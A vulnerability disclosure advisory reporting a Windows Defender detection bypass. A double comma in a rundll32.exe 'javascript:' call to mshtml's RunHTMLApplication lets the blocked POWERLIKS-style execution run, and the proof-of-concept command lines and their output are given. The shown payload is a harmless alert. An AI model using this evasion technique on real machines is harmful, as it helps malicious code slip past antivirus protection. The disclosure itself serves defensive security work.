[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.microsoft.com [Product] Windows Defender [Vulnerability Type] Windows Defender Detection Mitigation Bypass TrojanWin32Powessere.G [CVE Reference] N/A [Security Issue] Trojan.Win32/Powessere.G / Mitigation Bypass Part 2. Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail and attackers will typically get an "Access is denied" error message. Back in 2022, I disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated. However, I discovered using multi-commas "," will bypass that mitigation and successfully execute as of the time of this writing. [References] https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt [Exploit/POC] Open command prompt as Administrator. C:\sec>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(666) Access is denied. C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication ";alert(666) Multi-commas, for the Win! [Network Access] Local [Severity] High [Disclosure Timeline] February 7, 2024: Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx